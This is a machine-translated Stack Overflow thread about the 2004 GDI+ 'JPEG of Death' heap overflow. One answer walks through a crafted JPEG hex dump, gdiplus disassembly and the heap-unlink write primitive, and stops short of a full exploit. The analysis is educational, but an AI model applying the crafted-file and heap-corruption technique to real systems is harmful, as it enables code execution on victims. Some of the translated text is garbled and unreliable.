2015-02-06 4 views
94

मैं विंडोज   एक्सपी और Windows Server 2003 पर जीडीआई + के खिलाफ पुराने शोषण के बारे में पढ़ रहा हूं, जिस परियोजना पर मैं काम कर रहा हूं, उसके लिए जेपीईजी मौत कहा जाता है।मृत्यु भेद्यता का जेपीईजी कैसे काम करता है?

शोषण अच्छी तरह से नीचे दिए गए लिंक से समझाया गया है: http://www.infosecwriters.com/text_resources/pdf/JPEG.pdf

मूल रूप से, एक JPEG फ़ाइल एक वर्ग (संभवत: खाली) टिप्पणी क्षेत्र युक्त कॉम कहा जाता है, और एक दो बाइट कॉम के आकार से युक्त मान है। यदि कोई टिप्पणी नहीं है, तो आकार 2 है। पाठक (जीडीआई +) आकार को पढ़ता है, दो घटाता है, और ढेर में टिप्पणियों की प्रतिलिपि बनाने के लिए उचित आकार के बफर को आवंटित करता है। हमले में क्षेत्र में 0 का मान रखना शामिल है। जीडीआई + 2 घटाता है, जो -2 (0xFFFe) का मान लेता है जो द्वारा हस्ताक्षरित पूर्णांक 0XFFFFFFFE में परिवर्तित हो जाता है।

नमूना कोड:

unsigned int size; 
size = len - 2; 
char *comment = (char *)malloc(size + 1); 
memcpy(comment, src, size); 

तीसरी पंक्ति में है कि malloc(0) का निरीक्षण करें ढेर पर आवंटित नहीं की गई स्मृति के लिए सूचक लौटना चाहिए। 0XFFFFFFFE बाइट्स (4GB !!!!) लिखना संभवतः प्रोग्राम को क्रैश नहीं कर सकता है? क्या यह ढेर क्षेत्र से बाहर और अन्य कार्यक्रमों और ओएस की जगह में लिखता है? फिर क्या होता है?

जैसा कि मैं memcpy समझता हूं, यह गंतव्य से स्रोत तक n वर्णों की प्रतिलिपि बनाता है। इस मामले में, स्रोत ढेर पर होना चाहिए, ढेर पर गंतव्य, और n4GB है।

+0

malloc ढेर से स्मृति आवंटित करेगा। मुझे लगता है कि शोषण memcpy से पहले किया गया था और स्मृति के बाद – iedoc

+0

आवंटित किया गया था, बस एक साइड नोट के रूप में: यह * नहीं * memcpy है जो किसी हस्ताक्षरित पूर्णांक (4 बाइट्स) के मान को बढ़ावा देता है, बल्कि घटाव। – rev

+1

मेरे पिछले उत्तर को एक लाइव उदाहरण के साथ अपडेट किया गया। 'Malloc'ed आकार' 0xFFFFFFFE' की बजाय केवल 2 बाइट्स है। इस विशाल आकार का उपयोग केवल प्रति आकार के आकार के लिए किया जाता है, आवंटन आकार के लिए नहीं। – Neitsa

उत्तर

3

चूंकि मुझे जीडीआई से कोड नहीं पता है, तो नीचे क्या अनुमान है अटकलें।

खैर, एक बात यह है कि मन में पॉप एक व्यवहार है कि मैं कुछ OSes पर ध्यान दिया है (मैं अगर विंडोज   XP यह था पता नहीं है) है था जब नई/malloc साथ आवंटन, आप वास्तव में अधिक से अधिक आवंटित कर सकते हैं आपकी रैम, जब तक आप उस स्मृति को नहीं लिखते।

यह वास्तव में लिनक्स कर्नेल का व्यवहार है।

www.kernel.org से: प्रक्रिया रैखिक पता स्थान में

पेज जरूरी स्मृति में निवासी नहीं हैं। उदाहरण के लिए, किसी प्रक्रिया की तरफ से किए गए आवंटन तत्काल संतुष्ट नहीं होते हैं क्योंकि अंतरिक्ष केवल vm_area_struct के भीतर आरक्षित है।

निवासी स्मृति में जाने के लिए एक पृष्ठ गलती ट्रिगर होनी चाहिए।

मूल रूप से आप से पहले यह वास्तव में सिस्टम पर आवंटित हो जाता है स्मृति गंदा बनाने की जरूरत है:

unsigned int size=-1; 
    char* comment = new char[size]; 

कभी कभी यह वास्तव में रैम में कोई वास्तविक आवंटन नहीं होगा (अपने कार्यक्रम अभी भी उपयोग नहीं होगा 4   जीबी)। मुझे पता है कि मैंने इस व्यवहार को लिनक्स पर देखा है, लेकिन मैं अब इसे अपने विंडोज   7 स्थापना पर दोहराना नहीं कर सकता।

इस व्यवहार से शुरू करना निम्नलिखित परिदृश्य संभव है।

memset(comment, 0, size); 

हालांकि भेद्यता एक बफर अतिप्रवाह, नहीं आवंटन विफलता कारनामे:

आदेश में है कि स्मृति रैम में मौजूदा आप इसे गंदा करने की जरूरत है (मूल रूप से memset या इसे करने के लिए कुछ अन्य लिख) बनाने के लिए।

दूसरे शब्दों में, अगर मैं इस के लिए गए थे चाहते हैं:

unsinged int size =- 1; 
char* p = new char[size]; // Will not crash here 
memcpy(p, some_buffer, size); 

यह बफर के बाद एक लिखने को बढ़ावा मिलेगा क्योंकि निरंतर स्मृति का एक 4   जीबी खंड जैसी कोई चीज नहीं।

आपने पूरे 4   जीबी मेमोरी गंदे बनाने के लिए पी में कुछ भी नहीं रखा है, और मुझे नहीं पता कि memcpy स्मृति को गंदे सभी को एक बार में बनाता है, या सिर्फ पृष्ठ द्वारा पृष्ठ (मुझे लगता है कि यह पृष्ठ द्वारा पृष्ठ है)।

आखिरकार यह स्टैक फ्रेम (स्टैक बफर ओवरफ़्लो) को ओवरराइट करना समाप्त कर देगा।

एक और अधिक संभावित भेद्यता अगर तस्वीर को बाइट सरणी (बफर में पूरी फ़ाइल पढ़ें) के रूप में स्मृति में रखा गया था, और आकार की टिप्पणियों का उपयोग केवल गैर-महत्वपूर्ण जानकारी को छोड़ने के लिए किया गया था।

उदाहरण

 unsigned int commentsSize = -1; 
    char* wholePictureBytes; // Has size of file 
    ... 
    // Time to start processing the output color 
    char* p = wholePictureButes; 
    offset = (short) p[COM_OFFSET]; 
    char* dataP = p + offset; 
    dataP[0] = EvilHackerValue; // Vulnerability here 

आप उल्लेख किया है के लिए, यदि GDI है कि आकार आवंटित नहीं किया, कार्यक्रम दुर्घटना कभी नहीं होगा।

+4

यह 64-बिट सिस्टम के साथ हो सकता है, जहां 4 जीबी एक बड़ा सौदा नहीं है (ऐडस स्पेस के बारे में बात कर रहा है)। लेकिन 32-बिट सिस्टम में, (वे भी कमजोर दिखते हैं) आप 4 जीबी एड्रेस स्पेस आरक्षित नहीं कर सकते हैं, क्योंकि यह सब कुछ होगा! तो एक 'malloc (-1U)' निश्चित रूप से असफल हो जाएगा, वापस 'नल' और 'memcpy()' क्रैश होगा। – rodrigo

+8

मुझे नहीं लगता कि यह लाइन सच है: "आखिरकार यह एक और प्रक्रिया पते में लिखना समाप्त कर देगा।" आम तौर पर एक प्रक्रिया किसी अन्य की स्मृति तक नहीं पहुंच सकती है। [एमएमयू लाभ] देखें (http://en.wikipedia.org/wiki/Memory_management_unit#Benefits)। –

+0

@ एमएमयू लाभ हाँ, आप सही हैं। मेरा कहना था कि सामान्य ढेर सीमाओं पर जाना होगा और स्टैक फ्रेम को ओवरराइट करना शुरू करना होगा। मैं अपना जवाब संपादित करूंगा, इसे इंगित करने के लिए धन्यवाद। – MichaelCMS

92

यह भेद्यता निश्चित रूप से heap overflow थी।

0XFFFFFFFE बाइट्स (4 जीबी !!!!) लिखने से संभवतः प्रोग्राम को क्रैश नहीं किया जा सकता है?

शायद यह होगा, लेकिन कुछ मौकों पर आपको दुर्घटना होने से पहले शोषण करने का समय मिल गया है (कभी-कभी, आप प्रोग्राम को अपने सामान्य निष्पादन में वापस ले सकते हैं और दुर्घटना से बच सकते हैं)।

जब memcpy() शुरू होता है, तो प्रतिलिपि कुछ अन्य ढेर ब्लॉक या ढेर प्रबंधन संरचना के कुछ हिस्सों (जैसे मुफ्त सूची, व्यस्त सूची इत्यादि) को ओवरराइट कर देगी।

किसी बिंदु पर प्रतिलिपि गैर आवंटित पृष्ठ का सामना करेगी और लिखने पर एक एवी (एक्सेस उल्लंघन) ट्रिगर करेगी। जीडीआई + फिर ढेर में एक नया ब्लॉक आवंटित करने का प्रयास करेगा (ntdll!RtlAllocateHeap देखें) ... लेकिन ढेर संरचनाएं अब सब गड़बड़ हो गई हैं।

उस बिंदु पर, अपनी जेपीईजी छवि को ध्यान से क्राफ्ट करके आप नियंत्रित डेटा के साथ ढेर प्रबंधन संरचनाओं को ओवरराइट कर सकते हैं। जब सिस्टम नए ब्लॉक को आवंटित करने का प्रयास करता है, तो यह शायद मुफ्त सूची से एक (मुक्त) ब्लॉक को अनलिंक कर देगा।

ब्लॉक (विशेष रूप से) एक झलक (फॉरवर्ड लिंक; सूची में अगला ब्लॉक) और ब्लिंक (पिछड़ा लिंक; सूची में पिछला ब्लॉक) पॉइंटर्स के साथ प्रबंधित किया जाता है। यदि आप दोनों झुर्रियों और झपकी को नियंत्रित करते हैं, तो आपके पास संभव WRITE4 हो सकता है (लिखें/कहां हालत लिखें) जहां आप नियंत्रित कर सकते हैं कि आप क्या लिख ​​सकते हैं और कहां लिख सकते हैं।

उस बिंदु पर आप फ़ंक्शन पॉइंटर को ओवरराइट कर सकते हैं (SEH [Structured Exception Handlers] पॉइंटर्स 2004 में उस समय पसंद का लक्ष्य थे) और कोड निष्पादन प्राप्त करें।

ब्लॉग पोस्ट Heap Corruption: A Case Study देखें।

नोट: हालांकि मैंने फ्रीलिस्ट का उपयोग करके शोषण के बारे में लिखा है, लेकिन हमलावर अन्य ढेर मेटाडाटा ("ढेर मेटाडाटा" का उपयोग करके एक और रास्ता चुन सकता है, ढेर का प्रबंधन करने के लिए सिस्टम द्वारा उपयोग की जाने वाली संरचनाएं; झपकी और झपकी ढेर का हिस्सा हैं मेटाडाटा), लेकिन अनलिंक शोषण शायद "सबसे आसान" है। "ढेर शोषण" के लिए एक Google खोज इस बारे में कई अध्ययन वापस कर देगी।

क्या यह ढेर क्षेत्र से बाहर और प्रोग्राम और ओएस के स्थान पर लिखता है?

कभी नहीं। आधुनिक ओएस वर्चुअल एड्रेस स्पेस की अवधारणा पर आधारित है, इसलिए प्रत्येक प्रक्रिया के पास अपना वर्चुअल एड्रेस स्पेस होता है जो 32-बिट सिस्टम पर 4 गीगाबाइट मेमोरी को एड्रेस करने में सक्षम बनाता है (प्रैक्टिस में आपको केवल उपयोगकर्ता-भूमि में इसका आधा हिस्सा मिल जाता है, शेष कर्नेल के लिए है)।

संक्षेप में, एक प्रक्रिया किसी अन्य प्रक्रिया की स्मृति तक नहीं पहुंच सकती है (सिवाय इसके कि अगर यह कुछ सेवा/एपीआई के माध्यम से कर्नेल से पूछती है, लेकिन कर्नेल जांच करेगा कि कॉलर को ऐसा करने का अधिकार है या नहीं)।


मैं इस जोखिम के इस सप्ताह के अंत में परीक्षण करने का फैसला, तो हम क्या नहीं बल्कि शुद्ध अटकलें से चल रहा था पर एक अच्छा विचार हो सकता है। भेद्यता अब 10 साल पुरानी है, इसलिए मैंने सोचा कि इसके बारे में लिखना ठीक था, हालांकि मैंने इस जवाब में शोषण भाग को समझाया नहीं है।

योजना

सबसे मुश्किल काम मैं एक JPEG केवल एक ही पिक्सेल से बना चित्र को डाउनलोड के रूप में यह 2004 में था :)

फिर, केवल SP1 के साथ एक Windows XP को खोजने के लिए किया गया था, जैसा कि नीचे दिखाया (संक्षिप्तता के लिए कटा हुआ):

File 1x1_pixel.JPG 
Address Hex dump           ASCII 
00000000 FF D8 FF E0|00 10 4A 46|49 46 00 01|01 01 00 60| ÿØÿà JFIF ` 
00000010 00 60 00 00|FF E1 00 16|45 78 69 66|00 00 49 49| ` ÿá Exif II 
00000020 2A 00 08 00|00 00 00 00|00 00 00 00|FF DB 00 43| *   ÿÛ C 
[...] 

एक जेपीईजी चित्र द्विआधारी मार्कर (जो खंडों intrduce) से बना है। उपर्युक्त छवि में, FF D8 एसओआई (छवि का प्रारंभ) मार्कर है, जबकि FF E0, उदाहरण के लिए, एक एप्लिकेशन मार्कर है।

मार्कर सेगमेंट (एसओआई जैसे कुछ मार्करों को छोड़कर) में पहला पैरामीटर दो-बाइट लम्बाई पैरामीटर है जो मार्कर सेगमेंट में बाइट्स की संख्या को एन्कोड करता है, जिसमें लंबाई पैरामीटर और दो बाइट मार्कर को छोड़कर।

मैंने एसओआई के ठीक बाद एक COM मार्कर (0x FFFE) जोड़ा, क्योंकि मार्करों के पास कोई सख्त आदेश नहीं है।

File 1x1_pixel_comment_mod1.JPG 
Address Hex dump           ASCII 
00000000 FF D8 FF FE|00 00 30 30|30 30 30 30|30 31 30 30| ÿØÿþ 0000000100 
00000010 30 32 30 30|30 33 30 30|30 34 30 30|30 35 30 30| 0200030004000500 
00000020 30 36 30 30|30 37 30 30|30 38 30 30|30 39 30 30| 0600070008000900 
00000030 30 61 30 30|30 62 30 30|30 63 30 30|30 64 30 30| 0a000b000c000d00 
[...] 

कॉम खंड की लंबाई भेद्यता को गति प्रदान करने 00 00 को तैयार है। मैंने एक आवर्ती पैटर्न के साथ COM मार्कर के बाद 0xFFFC बाइट्स को इंजेक्शन दिया, हेक्स में 4 बाइट्स संख्या, जो भेद्यता का "शोषण" करते समय आसान हो जाएगी।

डिबगिंग

डबल तुरंत GpJpegDecoder::read_jpeg_marker() नाम के एक समारोह में,, विंडोज खोल (उर्फ "explorer.exe") में बग को गति प्रदान करेगा gdiplus.dll में कहीं चित्र पर क्लिक।

यह फ़ंक्शन चित्र में प्रत्येक मार्कर के लिए कहा जाता है, यह बस: मार्कर सेगमेंट आकार को पढ़ता है, एक बफर आवंटित करता है जिसका लंबाई सेगमेंट आकार होता है और सेगमेंट की सामग्री को इस नए आवंटित बफर में कॉपी करता है।

यहाँ समारोह की शुरुआत:

.text:70E199D5 mov  ebx, [ebp+arg_0] ; ebx = *this (GpJpegDecoder instance) 
.text:70E199D8 push esi 
.text:70E199D9 mov  esi, [ebx+18h] 
.text:70E199DC mov  eax, [esi]  ; eax = pointer to segment size 
.text:70E199DE push edi 
.text:70E199DF mov  edi, [esi+4] ; edi = bytes left to process in the image 

eax रजिस्टर खंड आकार और edi को अंक बाइट्स छवि के बचे हुए है।

कोड तो खंड आकार को पढ़ने के लिए, सबसे महत्वपूर्ण बाइट की शुरुआत हो जाती आगे बढ़ता है (लंबाई एक 16-बिट मान है):

.text:70E199F7 xor  ecx, ecx  ; segment_size = 0 
.text:70E199F9 mov  ch, [eax]  ; get most significant byte from size --> CH == 00 
.text:70E199FB dec  edi    ; bytes_to_process -- 
.text:70E199FC inc  eax    ; pointer++ 
.text:70E199FD test edi, edi 
.text:70E199FF mov  [ebp+arg_0], ecx ; save segment_size 

और कम से कम महत्वपूर्ण बाइट:

.text:70E19A15 movzx cx, byte ptr [eax] ; get least significant byte from size --> CX == 0 
.text:70E19A19 add  [ebp+arg_0], ecx ; save segment_size 
.text:70E19A1C mov  ecx, [ebp+lpMem] 
.text:70E19A1F inc  eax    ; pointer ++ 
.text:70E19A20 mov  [esi], eax 
.text:70E19A22 mov  eax, [ebp+arg_0] ; eax = segment_size 

एक बार ऐसा करने के बाद, इस गणना के बाद सेगमेंट आकार का उपयोग बफर आवंटित करने के लिए किया जाता है:

alloc_size = segment_size + 2

,

.text:70E19A29 movzx esi, word ptr [ebp+arg_0] ; esi = segment size (cast from 16-bit to 32-bit) 
.text:70E19A2D add  eax, 2 
.text:70E19A30 mov  [ecx], ax 
.text:70E19A33 lea  eax, [esi+2] ; alloc_size = segment_size + 2 
.text:70E19A36 push eax    ; dwBytes 
.text:70E19A37 call [email protected]  ; GpMalloc(x) 

हमारे मामले में, के रूप में खंड आकार 0 है बफर के लिए आवंटित आकार 2 बाइट्स है: ५३६९१३६३२१०

यह नीचे दिए गए कोड द्वारा किया जाता है।

जोखिम है सही आवंटन के बाद:

.text:70E19A37 call _GpMal[email protected]  ; GpMalloc(x) 
.text:70E19A3C test eax, eax 
.text:70E19A3E mov  [ebp+lpMem], eax ; save pointer to allocation 
.text:70E19A41 jz  loc_70E19AF1 
.text:70E19A47 mov  cx, [ebp+arg_4] ; low marker byte (0xFE) 
.text:70E19A4B mov  [eax], cx   ; save in alloc (offset 0) 
;[...] 
.text:70E19A52 lea  edx, [esi-2]  ; edx = segment_size - 2 = 0 - 2 = 0xFFFFFFFE!!! 
;[...] 
.text:70E19A61 mov  [ebp+arg_0], edx 

कोड बस segment_size आकार (खंड की लंबाई एक 2 बाइट्स मान है) पूरे खंड आकार से (0 हमारे मामले में) घटा देती है और साथ समाप्त होता है एक पूर्णांक अधःप्रवाह: 0 - 2 = 0xFFFFFFFE

कोड तो जाँच करता है वहाँ बाइट्स हैं (जो सच है) छवि में पार्स करने के लिए छोड़ दिया है, और फिर प्रतिलिपि करने के लिए कूदता है:

.text:70E19A69 mov  ecx, [eax+4] ; ecx = bytes left to parse (0x133) 
.text:70E19A6C cmp  ecx, edx  ; edx = 0xFFFFFFFE 
.text:70E19A6E jg  short loc_70E19AB4 ; take jump to copy 
;[...] 
.text:70E19AB4 mov  eax, [ebx+18h] 
.text:70E19AB7 mov  esi, [eax]  ; esi = source = points to segment content ("0000000100020003...") 
.text:70E19AB9 mov  edi, dword ptr [ebp+arg_4] ; edi = destination buffer 
.text:70E19ABC mov  ecx, edx  ; ecx = copy size = segment content size = 0xFFFFFFFE 
.text:70E19ABE mov  eax, ecx 
.text:70E19AC0 shr  ecx, 2   ; size/4 
.text:70E19AC3 rep movsd    ; copy segment content by 32-bit chunks 
+०१२३५१६४१०

उपरोक्त स्निपेट से पता चलता है कि कॉपी आकार 0xFFFFFFFE 32-बिट्स भाग है। स्रोत बफर नियंत्रित होता है (चित्र की सामग्री) और गंतव्य ढेर पर एक बफर है।

लिखें हालत

प्रति एक पहुँच उल्लंघन (एवी) अपवाद जब यह स्मृति पृष्ठ के अंत तक पहुँच जाता है ट्रिगर किया जाएगा (यह भी स्रोत सूचक या गंतव्य सूचक से हो सकता है)। जब एवी ट्रिगर होता है, तो ढेर पहले से ही एक कमजोर स्थिति में है क्योंकि प्रतिलिपि पहले से ही सभी ढेर ब्लॉक को ओवरराइट कर चुकी है जब तक कि एक गैर-मैप किए गए पृष्ठ का सामना नहीं हुआ।

इस बग का शोषक क्या है कि 3 एसईएच (संरचित अपवाद हैंडलर; यह निम्न स्तर पर कोशिश/छोड़कर है) कोड के इस हिस्से पर अपवादों को पकड़ रहे हैं। अधिक सटीक रूप से, पहला एसईएच ढेर को खोल देगा, इसलिए यह एक और जेपीईजी मार्कर को पार्स करने के लिए वापस आ जाता है, इस प्रकार अपवाद को ट्रिगर करने वाले मार्कर को पूरी तरह से छोड़ देता है।

एक एसईएच के बिना कोड ने पूरे कार्यक्रम को तोड़ दिया होगा। तो कोड COM सेगमेंट छोड़ देता है और दूसरे सेगमेंट को पार करता है।इसलिए हम वापस GpJpegDecoder::read_jpeg_marker() के लिए एक नया खंड के साथ मिलता है और जब कोड एक नया बफर आवंटित:

.text:70E19A33 lea  eax, [esi+2] ; alloc_size = semgent_size + 2 
.text:70E19A36 push eax    ; dwBytes 
.text:70E19A37 call [email protected]  ; GpMalloc(x) 

प्रणाली मुक्त सूची में से एक ब्लॉक की लिंक रद्द होगा। ऐसा होता है कि मेटाडेटा संरचनाओं को छवि की सामग्री द्वारा ओवरराइट किया गया था; इसलिए हम नियंत्रित मेटाडेटा के साथ अनलिंक को नियंत्रित करते हैं। कहीं में नीचे दिए गए कोड प्रणाली (ntdll) ढेर प्रबंधक में में:

CPU Disasm 
Address Command         Comments 
77F52CBF MOV ECX,DWORD PTR DS:[EAX]    ; eax points to '0003' ; ecx = 0x33303030 
77F52CC1 MOV DWORD PTR SS:[EBP-0B0],ECX   ; save ecx 
77F52CC7 MOV EAX,DWORD PTR DS:[EAX+4]    ; [eax+4] points to '0004' ; eax = 0x34303030 
77F52CCA MOV DWORD PTR SS:[EBP-0B4],EAX 
77F52CD0 MOV DWORD PTR DS:[EAX],ECX    ; write 0x33303030 to 0x34303030!!! 

अब हम हम क्या चाहते हैं लिख सकते हैं, हम जहां चाहते हैं ...

संबंधित मुद्दे